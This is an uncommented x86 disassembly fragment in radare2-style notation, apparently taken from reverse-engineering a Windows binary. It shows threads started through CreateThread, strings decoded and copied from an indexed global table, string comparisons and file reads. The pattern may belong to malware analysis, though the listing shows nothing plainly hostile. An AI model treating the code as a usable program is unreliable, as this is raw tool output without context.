test eax, eax
jne 0x410916
mov edi, edi
push 4
call fcn.00413e95
add esp, 4
test eax, eax
je 0x4108a0
push 0
push 0
push eax
push 0x410ac0
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x4108c8
push 0xfc
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4108f5
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xfb
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3ec]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410956
test dl, dl
je 0x410952
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410956
add eax, 2
add ecx, 2
test dl, dl
jne 0x410936
xor eax, eax
jmp 0x41095b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4109d5
nop
push 4
call fcn.00413e95
add esp, 4
test eax, eax
je 0x410960
push 0
push 0
push eax
push 0x412540
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410988
push 0xfc
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4109b4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
call fcn.00403b80
push 0x425554
push edi
mov esi, eax
call fcn.00415779
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x410a37
push ebx
call fcn.00412e17
add esp, 4
test eax, eax
jne 0x410a2e
lea ecx, [ecx]
push ebx
push 1
lea ecx, [esp + 0x23]
push 1
push ecx
call fcn.0041315c
lea edx, [esp + 0x2b]
push edx
mov edi, 1
call fcn.00403bd0
add esp, 0x14
push ebx
call fcn.00412e17
add esp, 4
test eax, eax
je 0x410a00
push ebx
call fcn.004136b6
add esp, 4
mov eax, dword [esi + 4]
cmp eax, 3
jb 0x410a63
lea edi, [eax + 4]
push edi
call fcn.00413e95
add esp, 4
test eax, eax
je 0x410a42
mov ecx, dword [esi]
mov edx, eax
mov ebx, eax
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x410a57
jmp 0x410a9a
push 0x41
call fcn.00413e95
mov edi, eax
add esp, 4
test edi, edi
je 0x410a63
push 0x107
mov ebx, edi
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x41c]
add esp, 4
sub edi, eax
nop
mov cl, byte [eax]
mov byte [eax + edi], cl
inc eax
test cl, cl
jne 0x410a90
call fcn.00403bb0
mov ecx, dword [esp + 0x6d4]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret